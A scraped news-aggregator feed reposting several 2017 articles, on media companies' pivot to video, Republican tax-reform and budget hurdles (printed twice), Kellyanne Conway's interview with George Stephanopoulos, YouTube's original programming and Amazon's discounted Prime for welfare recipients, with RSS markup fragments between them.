Flescher: That remains to be seen, but it’s coming out in two chapters, so it’ll be more digestible. Right now most people’s tolerance is relatively short compared to a traditional movie theater, where you’re sitting for two hours, plus or minus a bit. It’s not clear yet how that’s going to play out with the new headsets and things like that. But we’re confident that we can at least do it in two parts, chapter one and chapter two.

Continue Reading …

VentureBeat

]]> https://briefnews.eu/vr-developers-pivot-to-location-based-entertainment/feed/ 0 Let’s call ‘pivot to video’ what it really is: Desperation https://briefnews.eu/lets-call-pivot-to-video-what-it-really-is-desperation/ https://briefnews.eu/lets-call-pivot-to-video-what-it-really-is-desperation/#respond Mon, 28 Aug 2017 02:19:08 +0000 http://briefnews.eu/lets-call-pivot-to-video-what-it-really-is-desperation/

ANALYSIS:

At first, a pivot to video made sense. High bandwidth on mobile, mega-platforms like YouTube, and the promise of disrupting TV commercials made it alluring. As did the steadily declining cost-per-click rates on text-centric content — not to mention the painful memories of what happened to newspapers that waited too long to move online.

If that left news sites feeling scared, Mark Zuckerberg terrified them. He kept saying things like video is a “mega-trend” like mobile, and Facebook’s news feed – already the primary gatekeeper for mobile content – would be mostly video by 2020.

The herd moved. The herd pivoted – to the point where it became less strategy than a running (if cruel) joke. It started last year with Mashable, which laid off editorial staffers while announcing it would pivot to video.

Things picked up steam this summer. In June, MTV News laid off writers of the longform content it began in 2015, explaining it would pivot to video. Sports Illustrated followed by laying off sportswriters to pivot to video (and VR!). Fox Sports made its own pivot. Writers were among the 60 staffers Vice laid off, promising more hires in video. Vocativ laid off its entire editorial staff to “focus exclusively on video.” Last week, Mic laid off 25 staffers so it could become “the leader in visual journalism.”

Pivoting itself is a kind of euphemism in the world of venture-backed companies for “this isn’t working.” Sometimes the pivot itself works: Twitter pivoted out of Odeo, a service that shared podcasts. More often, they don’t work, because there’s no guarantee the new business model is any better. That’s especially true when many companies are also pivoting to the same model at once, like digital video.

And it’s not even clear that the demand for video content is strong. According to a survey by Pew Research, “When asked whether one prefers to read, watch or listen to their news, younger adults are far more likely than older ones to opt for text, and most of that reading takes place on the web.”

Among the coveted ad demographic of people under 30, Pew found, 42 percent prefer reading news over watching or listening to it. That group prefers reading news online rather than in newspapers. By contrast, people over 50 favor video news, but only 4 percent prefer to watch it online.

Similarly, the Reuters Institute said in its 2017 Digital News Report,

Despite greater exposure to online video news, we find that overall preferences have changed very little since we started tracking this issue four years ago. Across all markets over two-thirds (71 percent) say they mostly consume news in text, with 14 percent using text and video equally.

Even Mashable, that pioneer of the pivot to video, published a post last week entitled “Pivot to video’ is not the death of words.” (That story showed up in my social media feeds. I can’t think of a single Mashable video I’ve seen since since its early pivot back in April 2016.)

The truth is, there is an element of face saving in these declarations of pivots to video. They are meant to hide the fact that many newsrooms overexpanded during the past decade, when advertisers were moving online and venture capital was flowing into content. As such, the pivots are worrisome indicators that an over-investment in video content will come.

The growth in digital content expanded the ad inventory so much that clickthrough rates declined, which prompted sites to add even more ads per page, which drove ad rates down further. If there’s a silver lining to the pivots to video, it’s that the ad inventory on written content may in time moderate.

But it also means the availability of video content will expand. Sites pivoting to video aren’t just competing for attention with each other, they’re competing with Netflix, Apple, Facebook, YouTube Red, and now Disney – all of which are spending, collectively, billions of dollars a year to create their own content.

And how can your pivot compete with that? Quality videos cost money. People have grown weary of those glorified slideshows set to upbeat music. We’ve also grown weary of the autoloading videos that accompany written stories, especially the ones that linger even when scrolling down the page. These unsolicited autoplays are effective mostly as ads for ad blockers.

Video may, as Zuckerberg said, be the next mega trend. But if a content company figured that out after Zuckerberg did, there’s a good chance they’re pivoting too late. No matter. One nice thing about a pivot is that it buys a company time to figure out another business model to pivot to. That, at least, can keep antsy investors at bay.

VentureBeat

]]> https://briefnews.eu/lets-call-pivot-to-video-what-it-really-is-desperation/feed/ 0 Why Republicans Can’t Just Pivot to Tax Reform https://briefnews.eu/why-republicans-cant-just-pivot-to-tax-reform-2/ https://briefnews.eu/why-republicans-cant-just-pivot-to-tax-reform-2/#respond Tue, 08 Aug 2017 02:52:00 +0000 http://briefnews.eu/why-republicans-cant-just-pivot-to-tax-reform-2/ Forget health care: Republicans are moving on to tax reform.

With last month’s collapse of their No. 1 legislative priority, the White House and GOP congressional leaders have made a nearly complete pivot to agenda item 1A—rewriting the nation’s tax code for the first time in more than 30 years.

This effort, they promise, will be different than health care. Why? The party is united around a broad set of principles, rank-and-file lawmakers are desperate for a legislative win, and congressional committees have spent years laying the groundwork for precisely this moment. Allied conservative groups have committed millions to ads promoting the effort, and President Trump will sell it to the country—something he did not do on health care. According to the grand plan, legislation will be introduced in the House in September, votes will be held in October and November, and Trump will triumphantly sign this once-in-a-generation reform into law by the end of the year. Easy peasy. “This is a pass/fail exercise, and we will pass tax reform,” Treasury Secretary Steven Mnuchin declared last week. “It’s going to get done this year.”

There are many reasons to be skeptical of these confident assertions, not the least of which is that the Trump administration made these exact same claims about repealing and replacing the Affordable Care Act six months ago. To name just a few hurdles: Tax policy is even more complicated than health care. The failure of an Obamacare repeal made tax reform more difficult both in terms of policy and politics. Congress will face even more pressing deadlines in September to fund the government and raise the debt ceiling. And Republican lawmakers are not nearly as unified around the details of taxes as their leaders would suggest.

But the biggest immediate obstacle in the way of quick action on tax reform is a fundamental one: Republicans have been unable to pass a budget for 2018, and without that, they can’t unlock the fast-track reconciliation process that would allow them to enact tax reform without Democratic votes in the Senate. It’s that same mechanism the GOP used to advance health-care legislation that would have passed the Senate last month with just one more Republican vote. Ordinarily, the annual budget is a non-binding document that sets spending levels for the government, which only take effect once Congress passes appropriations bills. But a budget is a prerequisite for the reconciliation process: It contains formal instructions for the tax-writing committees in the House and Senate to draft legislation.

Passing budgets used to be a point of pride for House Republicans. The party approved the fiscal blueprints written by then-Budget Committee Chairman Paul Ryan for four consecutive years beginning when the GOP assumed the House majority in 2011. Each of them called for steep reductions in domestic spending, tax reform, and an overhaul of Medicare and Medicaid. But in recent years, the divisions between moderates and conservatives that have plagued the GOP on so many issues have stymied the budget process as well. The House failed to pass a budget last year and only approved a shell of a resolution in January to set in motion the reconciliation process for health care.

This year, Republicans have been more united in their opposition to some of the deep discretionary spending cuts proposed by Trump than in agreeing to a fiscal vision of their own. Under the leadership of Chairwoman Diane Black of Tennessee, the House Budget Committee approved a budget on a party-line vote in mid-July, months later than usual. But it did not come to the floor before the House left for a five-week recess, and lawmakers and aides acknowledged it lacked the votes to pass. Unwilling to wait any longer, the House actually passed a package of appropriations bills covering defense and security spending despite the lack of action on the budget. “The only reason we need a budget now is reconciliation,” said Representative Jim Jordan of Ohio, a leader in the conservative House Freedom Caucus. Once it gets through the House, the budget would still have to go through the Senate, where Republicans have learned the hard way that their majority is quite fragile.

Black’s proposal calls for a spending level of $ 621.5 billion for defense in fiscal 2018 and $ 511 billion for non-defense programs. Like previous Republican proposals, it would eliminate the federal deficit in 10 years under the party’s projections. But rank-and-file lawmakers are divided over an extra $ 200 billion in cuts to mandatory spending accounts—which include Medicare, Medicaid, and food stamps—that would help accommodate the tax cuts Republicans want to enact. Moderates in the Tuesday Group protested the cuts on the grounds that regardless of the budget proposal, Republicans would ultimately need to strike a deal with Democrats in the Senate to fund the government for the next year. “Absent such a bipartisan, bicameral agreement, we are reticent to support any budget resolution on the House floor,” a group of 20 moderates wrote in a letter to the leadership in late June.

Conservatives in the House Freedom Caucus, meanwhile, want even deeper mandatory spending cuts and a commitment that they will go toward trimming back welfare programs. With moderates already balking, however, Republican leaders are unlikely to go much further. “That number is not changing,” a senior GOP aide told me. “The choice is not between $ 200 billion and $ 500 billion. It’s between $ 200 billion and zero.”

Another demand from the Freedom Caucus points to a bigger potential problem for Ryan and his lieutenants—a lingering mistrust between conservatives and the leadership that was exacerbated by the contentious debate over repealing Obamacare. They want to see the tax-reform proposal before voting for the budget that would allow it to move forward. “At a minimum, we’ve got to know more than we know now,” Jordan told me in a phone interview. “Once you open up the door, you can’t close it. So you’d kind of like to know what’s on the other side before you open it.

“We tried this with health-care reform,” he continued. “The plan that we thought we were going to do was not the plan that was undertaken, and look what’s happened.”

“We just don’t want some surprise popping in there,” added Representative Dave Brat, a Virginia conservative.

Jordan and other conservatives scored a victory last month when Ryan agreed, in a joint statement with Senate and White House negotiators, to set aside his push for a border-adjustment tax that would help pay for cuts to the individual and corporate rates. But Jordan is worried that GOP leaders will propose other taxes as a means of offsetting rate cuts that they don’t believe are necessary.
“All we’re saying is: Show us the bill,” he said.

Right now, the bill doesn’t exist. Negotiators released only a five-paragraph statement of principles before the congressional recess and are working on writing legislative language this month. But while the White House wants the House to begin marking up a bill right after Labor Day, there is little expectation it’ll be ready that quickly, and leaders on the House Ways and Means Committee have notably set no timetable for finishing their work beyond saying it’ll get done this year. Another option for House leaders is to abandon the full budget altogether and do what they did on health care: pass a stripped-down “shell” budget that merely contains instructions for tax reform and sets aside other policy issues. “Everyone wants to get a real budget. We’re not entertaining that option yet,” a senior GOP aide told me.

The irony is that among Republicans, conservatives are the most invested in the reconciliation process that they are, for the time being, holding up. GOP leaders could skip right to tax reform without a budget, but then they’d need 60 votes in the Senate and Democratic support. That would move the bill further to the left, meaning conservatives would not get nearly the level of tax cuts they want, and certainly no spending cuts. In the Senate, a vast majority of Democrats have told Trump and Republican leaders that, unlike on their drive to repeal Obamacare, they would be willing to collaborate on tax reform as long as the bill benefits the middle class more than the wealthy and does not add to the deficit. But Majority Leader Mitch McConnell quickly rejected their entreaty, saying Republicans would pursue the party-line reconciliation process instead. “I don’t think this is going to be 1986, when you had a bipartisan effort to scrub the code,” McConnell told reporters.

For moderates who blame the failure of health-care legislation on the GOP’s partisan approach, those words were already a worrisome sign. “I’ve always thought that going down the path of Republican-only type of tax reform, to me, is not the wisest course to take nor is it the best course to take for America,” Representative Tom Reed of New York said in an interview. “I’ve expressed that opinion. Obviously my opinion has not won out.”

An early endorser and ally of Trump, Reed said he’d nonetheless support the House budget despite his concerns both about the reconciliation process and its $ 200 billion in mandatory spending cuts. But he did not sound confident that his party’s next major legislative push would be any more successful than its last. “We have an eternal conflict within ourselves,” Reed told me. “I think that’s going to be very difficult to get done.”

Business | The Atlantic

]]> https://briefnews.eu/why-republicans-cant-just-pivot-to-tax-reform-2/feed/ 0 Why Republicans Can’t Just Pivot to Tax Reform https://briefnews.eu/why-republicans-cant-just-pivot-to-tax-reform/ https://briefnews.eu/why-republicans-cant-just-pivot-to-tax-reform/#respond Mon, 07 Aug 2017 09:57:16 +0000 http://briefnews.eu/why-republicans-cant-just-pivot-to-tax-reform/ Forget health care: Republicans are moving on to tax reform.

With last month’s collapse of their No. 1 legislative priority, the White House and GOP congressional leaders have made a nearly complete pivot to agenda item 1A—rewriting the nation’s tax code for the first time in more than 30 years.

This effort, they promise, will be different than health care. Why? The party is united around a broad set of principles, rank-and-file lawmakers are desperate for a legislative win, and congressional committees have spent years laying the groundwork for precisely this moment. Allied conservative groups have committed millions to ads promoting the effort, and President Trump will sell it to the country—something he did not do on health care. According to the grand plan, legislation will be introduced in the House in September, votes will be held in October and November, and Trump will triumphantly sign this once-in-a-generation reform into law by the end of the year. Easy peasy. “This is a pass/fail exercise, and we will pass tax reform,” Treasury Secretary Steven Mnuchin declared last week. “It’s going to get done this year.”

There are many reasons to be skeptical of these confident assertions, not the least of which is that the Trump administration made these exact same claims about repealing and replacing the Affordable Care Act six months ago. To name just a few hurdles: Tax policy is even more complicated than health care. The failure of Obamacare repeal made tax reform more difficult both in terms of policy and politics. Congress will face even more pressing deadlines in September to fund the government and raise the debt ceiling. And Republican lawmakers are not nearly as unified around the details of taxes as their leaders would suggest.

But the biggest immediate obstacle in the way of quick action on tax reform is a fundamental one: Republicans have been unable to pass a budget for 2018, and without that, they can’t unlock the fast-track reconciliation process that would allow them to enact tax reform without Democratic votes in the Senate. It’s that same mechanism the GOP used to advance health-care legislation that would have passed the Senate last month with just one more Republican vote. Ordinarily, the annual budget is a non-binding document that sets spending levels for the government, which only take effect once Congress passes appropriations bills. But a budget is a prerequisite for the reconciliation process: It contains formal instructions for the tax-writing committees in the House and Senate to draft legislation.

Passing budgets used to be a point of pride for House Republicans. The party approved the fiscal blueprints written by then-Budget Committee Chairman Paul Ryan for four consecutive years beginning when the GOP assumed the House majority in 2011. Each of them called for steep reductions in domestic spending, tax reform, and an overhaul of Medicare and Medicaid. But in recent years, the divisions between moderates and conservatives that have plagued the GOP on so many issues have stymied the budget process as well. The House failed to pass a budget last year and only approved a shell of a resolution in January to set in motion the reconciliation process for health care.

This year, Republicans have been more united in their opposition to some of the deep discretionary spending cuts proposed by Trump than in agreeing to a fiscal vision of their own. Under the leadership of Chairwoman Diane Black of Tennessee, the House Budget Committee approved a budget on a party-line vote in mid-July, months later than usual. But it did not come to the floor before the House left for a five-week recess, and lawmakers and aides acknowledged it lacked the votes to pass. Unwilling to wait any longer, the House actually passed a package of appropriations bills covering defense and security spending despite the lack of action on the budget. “The only reason we need a budget now is reconciliation,” said Representative Jim Jordan of Ohio, a leader in the conservative House Freedom Caucus. Once it gets through the House, the budget would still have to go through the Senate, where Republicans have learned the hard way that their majority is quite fragile.

Black’s proposal calls for a spending level of $ 621.5 billion for defense in fiscal 2018 and $ 511 billion for non-defense programs. Like previous Republican proposals, it would eliminate the federal deficit in 10 years under the party’s projections. But rank-and-file lawmakers are divided over an extra $ 200 billion in cuts to mandatory spending accounts—which include Medicare, Medicaid, and food stamps—that would help accommodate the tax cuts Republicans want to enact. Moderates in the Tuesday Group protested the cuts on the grounds that regardless of the budget proposal, Republicans would ultimately need to strike a deal with Democrats in the Senate to fund the government for the next year. “Absent such a bipartisan, bicameral agreement, we are reticent to support any budget resolution on the House floor,” a group of 20 moderates wrote in a letter to the leadership in late June.

Conservatives in the House Freedom Caucus, meanwhile, want even deeper mandatory spending cuts and a commitment that they will go toward trimming back welfare programs. With moderates already balking, however, Republican leaders are unlikely to go much further. “That number is not changing,” a senior GOP aide told me. “The choice is not between $ 200 billion and $ 500 billion. It’s between $ 200 billion and zero.”

Another demand from the Freedom Caucus points to a bigger potential problem for Ryan and his lieutenants—a lingering mistrust between conservatives and the leadership that was exacerbated by the contentious debate over repealing Obamacare. They want to see the tax-reform proposal before voting for the budget that would allow it to move forward. “At a minimum, we’ve got to know more than we know now,” Jordan told me in a phone interview. “Once you open up the door, you can’t close it. So you’d kind of like to know what’s on the other side before you open it.

“We tried this with health-care reform,” he continued. “The plan that we thought we were going to do was not the plan that was undertaken, and look what’s happened.”

“We just don’t want some surprise popping in there,” added Representative Dave Brat, a Virginia conservative.

Jordan and other conservatives scored a victory last month when Ryan agreed, in a joint statement with Senate and White House negotiators, to set aside his push for a border-adjustment tax that would help pay for cuts to the individual and corporate rates. But Jordan is worried that GOP leaders will propose other taxes as a means of offsetting rate cuts that they don’t believe are necessary.
“All we’re saying is: Show us the bill,” he said.

Right now, the bill doesn’t exist. Negotiators released only a five-paragraph statement of principles before the congressional recess and are working on writing legislative language this month. But while the White House wants the House to begin marking up a bill right after Labor Day, there is little expectation it’ll be ready that quickly and leaders on the House Ways and Means Committee have notably set no timetable for finishing their work beyond saying it’ll get done this year. Another option for House leaders is to abandon the full budget altogether and do what they did on health care: pass a stripped-down “shell” budget that merely contains instructions for tax reform and sets aside other policy issues. “Everyone wants to get a real budget. We’re not entertaining that option yet,” a senior GOP aide told me.

The irony is that among Republicans, conservatives are the most invested in the reconciliation process that they are, for the time being, holding up. GOP leaders could skip right to tax reform without a budget, but then they’d need 60 votes in the Senate and Democratic support. That would move the bill further to the left, meaning conservatives would not get nearly the level of tax cuts they want, and certainly no spending cuts. In the Senate, a vast majority of Democrats have told Trump and Republican leaders that, unlike on their drive to repeal Obamacare, they would be willing to collaborate on tax reform as long as the bill benefits the middle class more than the wealthy and does not add to the deficit. But Majority Leader Mitch McConnell quickly rejected their entreaty, saying Republicans would pursue the party-line reconciliation process instead. “I don’t think this is going to be 1986, when you had a bipartisan effort to scrub the code,” McConnell told reporters.

For moderates who blame the failure of health-care legislation on the GOP’s partisan approach, those words were already a worrisome sign. “I’ve always thought that going down the path of Republican-only type of tax reform, to me, is not the wisest course to take nor is it the best course to take for America,” Representative Tom Reed of New York said in an interview. “I’ve expressed that opinion. Obviously my opinion has not won out.”

An early endorser and ally of Trump, Reed said he’d nonetheless support the House budget despite his concerns both about the reconciliation process and its $ 200 billion in mandatory spending cuts. But he did not sound confident that his party’s next major legislative push would be any more successful than its last. “We have an eternal conflict within ourselves,” Reed told me. “I think that’s going to be very difficult to get done.”

Business | The Atlantic

]]> https://briefnews.eu/why-republicans-cant-just-pivot-to-tax-reform/feed/ 0 Kellyanne Conway makes mindblowing pivot to Benghazi when grilled about Trump Jr.’s Russia meeting https://briefnews.eu/kellyanne-conway-makes-mindblowing-pivot-to-benghazi-when-grilled-about-trump-jr-s-russia-meeting/ https://briefnews.eu/kellyanne-conway-makes-mindblowing-pivot-to-benghazi-when-grilled-about-trump-jr-s-russia-meeting/#respond Mon, 07 Aug 2017 00:59:23 +0000 http://briefnews.eu/kellyanne-conway-makes-mindblowing-pivot-to-benghazi-when-grilled-about-trump-jr-s-russia-meeting/ kellyanne conway

“This Week” host George Stephanopoulos put Kellyanne Conway on the spot Sunday morning when the senior White House adviser tried to change the subject away from President Donald Trump’s role in crafting a misleading statement about his son’s meeting with a Russian lawyer last year. 

Stephanopoulos pointed out that the White House and Trump’s surrogates have given conflicting statements about the level of Trump’s involvement in responding to initial reports that Donald Trump Jr. met with the lawyer, Natalia Veselnitskaya, last June, in a meeting that also included then-campaign manager Paul Manafort and senior adviser Jared Kushner. 

When Stephanopoulos pressed her on the discrepancy in the statements, saying the White House “didn’t tell the truth,” Conway pushed back with an astonishing pivot to the Affordable Care Act, and later to the 2012 Benghazi attacks.

“You know, let’s talk about telling the truth,” Conway said. “Let’s talk about a president looking Americans in the eye, who are still suffering eight years later, who were lied to. If you like your plan, you can keep your plan. If you like your doctor, you can keep your doctor.”

Conway then shifted to the Obama administration’s response to the 2012 attack on US government buildings in Benghazi, Libya.

“Benghazi happened because of a video. Go tell the families of those four innocent Americans who were slaughtered in Benghazi that that lie mattered.”

“Hold on a second,” Stephanopoulos interjected. “You’re changing the subject.” 

“No. No. That is a subject,” Conway replied. “Let’s talk about credibility that impacts people.”

Stephanopoulos said Conway was simply “going back to President Obama and Hillary Clinton,” to which she replied that “those were big lies.”

When Stephanopoulos continued grilling her on the different responses offered by the Trump administration on Trump Jr.’s statement to The New York Times, Conway did not address the question, and later went on to call the FBI counterintelligence investigation into the Trump campaign’s possible collusion with Russia “fabricated.” 

Watch the exchange below:

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]]> https://briefnews.eu/kellyanne-conway-makes-mindblowing-pivot-to-benghazi-when-grilled-about-trump-jr-s-russia-meeting/feed/ 0 YouTube is trying to make a tricky pivot from platform to programmer (GOOG) https://briefnews.eu/youtube-is-trying-to-make-a-tricky-pivot-from-platform-to-programmer-goog/ https://briefnews.eu/youtube-is-trying-to-make-a-tricky-pivot-from-platform-to-programmer-goog/#respond Tue, 20 Jun 2017 08:03:54 +0000 http://briefnews.eu/youtube-is-trying-to-make-a-tricky-pivot-from-platform-to-programmer-goog/ Susanne DanielsGetty / Frederick M Brown

YouTube has to start acting less like a tech platform and more like a TV network.

The company has long served as the repository for every possible video on the planet, professional or otherwise. But given that the Alphabet-owned video site is making another push into original programming, it is looking to become an outlet where some people will seek out favorite shows with regularity.

In other words, YouTube needs to shift slightly from having its algorithm find things you might want to watch to YouTube telling you what you should watch.

That’s the delicate dance YouTube originals head Susanne Daniels needs to master as she pushes a slate of seven original YouTube series designed both to capture big audiences and also serve as safe havens for advertisers at a moment where that’s suddenly paramount for the video outlet.

Among the shows announced in May are a behind the scenes look at Ellen Degeneres’ talk show, a music cover competition series hosted by Ryan Seacrest, as well as a pair of scripted series due later this year.

It won’t necessarily be easy. During a keynote session at the Cannes advertising festival on Monday, Daniels — who jumped from MTV in 2015 to become YouTube’s programming chief — noted that YouTube generates 1 billion hours of viewing a day. Thus, any new video series has the potential to be just another video on YouTube.

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Case in point. Daniels was joined on stage with actress/music artist Demi Lovato, who talked about her new YouTube original show (while also discussing how she’s struggling to come to terms with turning 25). Lovato boasts of 10 million YouTube subscribers, and during the keynote interview was recognized for crossing the 1 billion view barrier.

So it’s fair to ask, how is any new Lovato video going to stand out amongst a sea of Lovato videos? The same can be said for Degeneres, who boasts of a huge YouTube following, as well as the home-grown YouTube stars Rhett and Link — who are also working on a YouTube original.

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 Daniels said YouTube has some unique advantages to make sure its shows get noticed, such as Google’s powerful tech and data, that most networks don’t enjoy.

“I don’t find the fact that YouTube has so much [user-generated] content or programming that much of a challenge more than I consider the current landscape of programming a challenge in and of itself,” she said during a post-keynote interview with reporters.

“I’ve been doing this for a long time and there’s never been this many scripted shows or unscripted shows out there available. There’s never been this many choices for the viewer. So yes, we’re up against 500 scripted shows … and we’re up against our own UGC content. But I think there’s a way with good marketing and using the strength of YouTube and the platform to attract viewership.”

Daniels pointed to a recent 96-hour programming marathon hosted by the pop star Katy Perry, which reached 49 million people across the globe. Perry and YouTube only let fans know about the variety event at the last minute. And YouTube was able to surface those videos to Perry’s fans via its data, algorithm, and a promotional push.

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“There’s a tendency to think of YouTube as this giant pool where everything is competing with everything else, but that’s not really how it works,” said Kevin Allocca, YouTube’s head of culture. Most YouTube stars post videos on the same day or time consistently, so regular YouTube viewers are ready to seek content out, he said.

“Videos go viral every day,” Daniels added.

For some originals, YouTube will rely on its data and recommendation engine, which benefits from 80 billion “signals” from viewers passively indicating what they are interested in based on what they click on. But in other cases, the plan is to promote shows using more traditional channels, like TV ads, ads prior to movies, and other conventional marketing.

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Daniels is hoping for a drama series to become an anchor for her slate of originals.

“There is something about the prestige of a drama that is harder to market to than a comedy,” she said. YouTube’s coming scripted shows include the dance-themed “Step Up” and “Impulse,” a sci fi vehicle being produced for the YouTube Red subscription service by Doug Liman of the “Bourne Identity” franchise 

“Both have potential to break out,” said Daniels.”I think we are going to do different kind of marketing [for those shows],” she said.

Among other topics raised during the Cannes sit down:

  • The collection of ad-supported original series YouTube is planning this year were already in the works before YouTube found itself in hot water with marketers, whose ads were spotted alongside hate videos. The fact that those shows were greenlit, “wasn’t a reaction to that,” said Daniels. “But the good news is they provide an opportunity for advertisers to have a safe environment.”
  • Daniels is planning to ramp up the company’s original output for 2018, and hopes that half of the shows come from YouTube talent and half from outside studios. “Creators want their content to reach a big audience,” said Daniels.

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]]> https://briefnews.eu/youtube-is-trying-to-make-a-tricky-pivot-from-platform-to-programmer-goog/feed/ 0 Amazon’s Pivot to Poor People https://briefnews.eu/amazons-pivot-to-poor-people/ https://briefnews.eu/amazons-pivot-to-poor-people/#respond Wed, 07 Jun 2017 00:46:12 +0000 http://briefnews.eu/amazons-pivot-to-poor-people/ On Tuesday, Amazon announced that it will slash the price of membership to its Prime program by almost 50 percent for low-income shoppers on federal welfare. The move might seem like a unique form of private-sector charity for poor Americans, after decades of disappointing wage growth. But it’s also a direct challenge to Walmart, the reigning king of American retail, which relies heavily on low-income shoppers and receives nearly one of every five dollars of its revenue through SNAP, or food stamps, each year.

Prime, which includes fast premium shipping and access to movies, games, and exclusive Amazon television shows, typically costs $ 99 upfront or $ 10.99 a month. Households that can show they’re receiving public assistance, such as Temporary Assistance for Needy Families (TANF) or the Supplemental Nutrition Assistance Program (SNAP), will be able to subscribe to Amazon Prime for just $ 5.99 a month. Customers can register using their EBT, or electronic benefit transfer card, which is used to distribute welfare benefits from the government. In a statement, the company said it is working on other ways for customers on welfare to participate.

The move comes as many traditional retail companies are in a tailspin and the nation’s two most prominent retailers are locked in a battle for the future of American spending. Walmart versus Amazon is a King Kong-versus-Godzilla showdown, with the two companies combining for more than $ 600 billion in revenue in 2016—about the size of the entire Defense Department. Ninety percent of Americans live within 10 miles of a Walmart. Nearly half of American households subscribe to Amazon Prime. Walmart takes in more revenue than any company in the world; last year it earned more than the second- and third-place U.S. companies, Apple and Exxon, combined. But the retail king hasn’t grown faster than 2 percent in five years, while Amazon has doubled since 2012 and is now the fourth-most-valuable company in America by market cap, between Microsoft and Facebook. Walmart is 12th.

With today’s announcement, Amazon is trying to become Walmart faster than Walmart can become Amazon. In other words, Amazon is trying to expand its consumer base just as Walmart’s e-commerce business has taken off with the purchase of e-retailers like Jet.com and Modcloth.

Prime is the most important part of Amazon’s retail business. Not only does a Prime membership guarantee a steady revenue stream for the company, but it also makes Amazon top-of-mind for consumers. Analysts estimate that there are between 60 and 80 million Prime subscribers in the country, and the typical Prime household spends more than twice as much on Amazon as a non-Prime family.

But so far, Prime’s growth has been bounded by income and Internet access. More than 40 percent of U.S. households say they rarely or never shop on Amazon, according to The Wall Street Journal, and just 30 percent of SNAP recipients have access to Prime. There are still huge barriers for families on welfare to shop online, since low-income families often don’t have a bank account or credit cards. But a steep discount could encourage more welfare recipients to join the Amazon bundle, fueling the retail war that continues to wreak havoc on the industry at large.

Business | The Atlantic

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